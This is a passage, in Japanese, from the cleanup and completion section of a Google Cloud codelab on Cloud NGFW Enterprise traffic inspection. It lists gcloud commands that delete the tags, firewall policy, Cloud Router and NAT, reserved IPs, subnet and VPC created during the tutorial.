  --member user:$user_id --role roles/resourcemanager.tagUser

タグキーとタグ値を削除します。

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud ファイアウォール ネットワーク ポリシーと関連付けを削除します。

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router と Cloud NAT を削除します。

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

予約済みの IP アドレスを削除します。

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

最後に、サブネットと VPC ネットワークを削除します。

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. 完了

これで、Cloud NGFW Enterprise for East-West and North-South Inspection Codelab は終了です。